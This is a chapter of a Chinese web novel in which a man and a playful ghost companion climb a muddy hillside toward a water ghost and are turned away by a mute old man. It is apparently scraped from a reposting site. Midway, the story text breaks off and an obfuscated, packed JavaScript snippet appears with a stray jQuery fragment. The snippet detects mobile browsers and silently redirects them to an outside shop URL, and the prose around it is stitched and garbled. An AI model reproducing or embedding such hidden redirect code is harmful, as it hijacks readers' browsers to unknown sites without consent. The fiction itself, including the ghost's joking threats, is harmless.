文趣网 > 都市小说 > 被可爱鬼缠上了怎么办? > 20. 可怜鬼
    黎戈神色淡然,似早料到会有这样的结果,沉声道:“不一定,去问水鬼便知。”

    “噢。”白绒应了一声,没再说话。

    水鬼提出来的让他们去找阿妤,没见到人,这么拖下去,也不是一个好法子,还不如去见一面水鬼。

    走十步滑五步的山坡,昨夜下了一整晚的暴雨,此时积了不少水洼,无从下脚也便算了,一脚下去也不知道会滑到哪里去。

    对比起黎戈来,白绒就显得干净轻松多了。

    一点泥点都溅不上鞋底,如履平地,脚步轻快,三两下就化作一阵风从黎戈身边掠过,回归原野的春燕般,眼睛一眨便到了山坡顶。

    白绒居高临下地插着腰,得意洋洋地道:“黎戈,快走快些。”

    黎戈:“……”

    他瞧着白绒已然站在山坡顶上,连个脚印都未在地面上留下,又看向自己,泥泞的鞋底正在缓缓得往下陷滑,顿时又矮了几厘米。

    人与鬼的差别怎么就这么大呢。

    他费劲吧啦地将腿出泥地的血盆大口中中拯救出来,步子一迈,朝着不远处笑盈盈地白绒奔去。

    步子快起来,上坡也简单了不少,可还是抵不住泥地的湿滑,一个踉跄都有可能原地变成泥人。

    好在他步子稳,到底是谁发明爬楼机这种毫无用处的健身器材,还不如来爬个泥山坡来得耗人。

    短短一段路却走了无数遍,脚印杂乱一个叠着一个,给白绒看得直乐呵。

    “黎戈,你不行,爬个坡都这么慢。”

    黎戈:“……”

    他竟然无法反驳。

    白绒和他不一样,完全就是轻飘飘的一只鬼,虽然能触到实体,那也是冰凉苍白的,不带任何温度。

    这种泥地哪会对白绒有效。

    “抽水机那块瞧见了吗?我们得去哪里,还得走上一段路,上回我们就是那出去的。”黎戈伸手摸人的脑袋,摸习惯了还有些上瘾,细软又蓬松的发丝在手心中擦过,挠得人心痒痒的。

    手中的脑袋忽然甩了几下,像极了甩头的小狗,言之意不让人摸了,他只好讪讪的收回手,

    “脑袋毛又要炸了!别搓了。”白绒“哼唧”一声,随后又道:“还有点印象,那个老头的灵魂是干净的。”

    “那我呢?”

    “我才不告诉你,你这种乱掀别人家屋顶的,能是什么好东西。”

    白绒朝人甩脸子,脑袋一扭就往下头走。

    “走快些,你要是再走那么慢,我可不等你。”

    “那可不行,不然你背着我走,说不定能快很多。”黎戈开玩笑似的语气,白绒专注行路,闻眼脚步一顿,回头怒道:

    “你果然是个大坏蛋,你多大只,我多大只,就知道压榨我这样一只无家可归的可怜鬼。”

    黎戈:“……”

    真是哪壶不开提哪壶,只要白绒一提起这件事,他就必然会心生愧疚,白绒做什么都随人去了,只要不触及底线,做什么不能。

    那他也没招,自己惹的祸,也就该由他偿还,叔叔说好最近些时日就会回来,这一过又是半个月,比鸽子还鸽子。

    要是让他叔叔送信,不知猴年马月才能收到。

    罢了,这日子,能过一天是一天,他还得赚钱养白绒呢,吞金兽都没白绒能吞,好在只是吃食和电子设备小玩意,不是什么凭借一个噱头就敢卖百来万的包啊衣服什么的。

    “还愣着干嘛,真的要我背你啊。”

    白绒见人一动不动,低头看了眼自己的手,他没背过人呢,真要他背的话,也不是不能试一试。

    “对。”黎戈眼里含笑,说出的语气带着挑逗意味,白绒自是听不出来的,回头走到黎戈面前,赫然一转身,像是做了某种重要的决定。

    他沉思了一会,开口道:“我应该背得动你的。”过了好一会,身后人一动不动的,他手都举好了,怎么还不上来,发问:“你怎么不动。”

    “白绒,有没有人说过你很好骗。”

    黎戈失笑,牵过人的手,一同往下走,这回可体验到了,什么叫作上坡难下坡易,就是有点容易收不住脚,三步作两步地往下滑。

    白绒“哼”了一声,察觉到自己被黎戈骗了后,眯着眼睛,有些不爽道:“你是第一个,哪有人类敢这么说我,我一口就能将他们的头咬开。”

    他听人这么说,心中一惊,手里牵着的鬼,看着就是乖乖巧巧,带着红领巾似的,怎么瞧都是容易被欺负的模样,竟还干过这种伤天害理的事情么。

    “你这么干过?”他开口问。

    白绒左右一思索,没有找到半点关于这种的事情,道:“我不知道,你也知道我记性不好的。”

    “……做鬼不能随便杀人。”黎戈带着人跃过一个泥坑,却发现白绒直接飘起,蹦跶都不愿意蹦两下时,有些无奈,好在四下无人也就随他去了。

    要是被人拍了,定会说一句,某山庄惊现超绝弹跳力滞空感满满的少年,全程无剪辑!

    白绒认真思考了一下黎戈说的话,是有点道理在的,“噢,那我不随便,我光明正大的杀,放着烟花哼着歌杀。”

    “那也不行。”黎戈笑着拒绝,是不随便了,杀人还要仪式感,除了十恶不赦的,他真没听过谁会这样做。

    白绒索性道:“嗷,那我不杀别人,我杀你。”

    “杀人犯法。”他开口提醒。

    “我是鬼,和我有啥干系。”

    白绒一语道破天机,人与鬼的区别不就在于活与死,皮肉与白骨。

    人的法律,对鬼而言只不过叠了数层的巨大薄饼,吃着还塞牙。

    作为一只清醒又聪明的鬼,讲道理对他来说无效。

    “……”黎戈彻底闭了嘴,老老实实牵着人走下坡,在杂草地里留下一连串的泥脚印。

    只不过还没走到抽水机处,那老头身形一闪便到了两人跟前。

    黎戈见人此状,心觉不对,后退一步,开口表明来意:“我要进去找人。”

    老头摇头伸手拦人,指了指里头又指了指自己,手指如开花般上下作着手势,黎戈曾经去福利院当过几个月的志愿者,对于手语还是略懂一些

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17686739|207402||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    。

    老头是在说里头有人。

    而他们不能进去,还要赶快离开。

    他立马蹦出一个念头,便是道士在里头,来个瓮中捉鳖也未尝不可。

    把道士抓起来送帽子局去,人证物证便有了,还费啥功夫去找阿妤。

    可老头硬要拦着,还要赶他们走,隐隐有发怒的趋势。

    他带白绒退了一步,老头在怕他有危险,也是他现在身上除了个只会响的破铃铛一点法器都没带在身上,现在去外头折个桃木枝,再翻过来找人,怕是道士早没影了。

    那水鬼估摸着也不会有事,这山庄还得靠水鬼来生财呢,自是不会自断退路,不是来检查封印,那便是来投喂生魂。

    黎戈只好作罢,带着人就往回走,白绒一脸疑惑,不是说要去水鬼那吗,怎么一转头又要走了。

    溜鬼很好玩吗?

    那老头一出现便不能进去了吗?一个小小的老头有何可怕,撸起袖子就是干,一口下去,饱管爆头。

    “我打得过老头的。”白绒信誓旦旦道,还特意展现了一下自己恰到好处的薄肌。

    最近白绒过得太滋润了,脸上的软肉一多,捏起来的手感简直不要太好。

    人类的食物居然还能增长鬼的能量吗?

    白绒明显察觉到体内能量有所变化,甚至想起来了几千年前自己是如何将一个自称皇帝的人类吓得半死的。

    杀那么多人生祭就是为了祈福,地府的工作量一下子大了起来,地府的工作人员苦不堪言,甚至不惜打扰正在沉睡的他,只好去看看情况了,谁承想那皇帝一点也不经吓,一下子就躺倒在龙椅上了,下一秒他回了地府,还看见这人了,你说巧不巧。

    黎戈哭笑不得,出言拉回了白绒的思绪,道:“那你打得过道士吗?道士专抓你这种好骗的鬼。”

    “没试过怎么知道。”白绒脾气犟,不撞南墙不回头,他非要试一试,打不过,他还跑不过吗?若非他想,旁人才看不见他。

    “有机会再说,现在先回去吧,说不定运气好呢,能遇上阿妤。”黎戈伸手搓人脑袋上的软毛,愈揉愈上瘾,手感充实细软,他回过神时被自己这下意识的动作搞得一愣,见白绒不反抗,索性一搓到底。

    果真如白绒所说的炸毛了,乱七八糟的原本微曲的发丝,直直翘起来几根毛,怎么压都压不回去。

    他立马将人头发理顺来,免得白绒生气。

    “好哦。”白绒昏昏沉沉的,一下子想得太多,身心俱疲,只是想了一点微不足道的往事,怎么会这么费精气神呢。

    黎戈带人又重新站回桃木桥,白绒撑着栏杆瞧着底下的鱼,嚯,还会绕着圈着游,接二连三地横空跃起,还不忘在空中摆个漂亮的姿势,尾巴翘得老高,这不比海洋馆的“美人鱼”表演好看多了,还是真鱼。

    这让他想起之前养过的死鱼了。

    白绒在此处站得有一会,撑着下巴,打了个哈欠,今日着实累得慌,漂亮的鱼儿表演都勾不起他的兴趣。“黎戈,在这里站着真的能蹲到人吗?”

    “能。”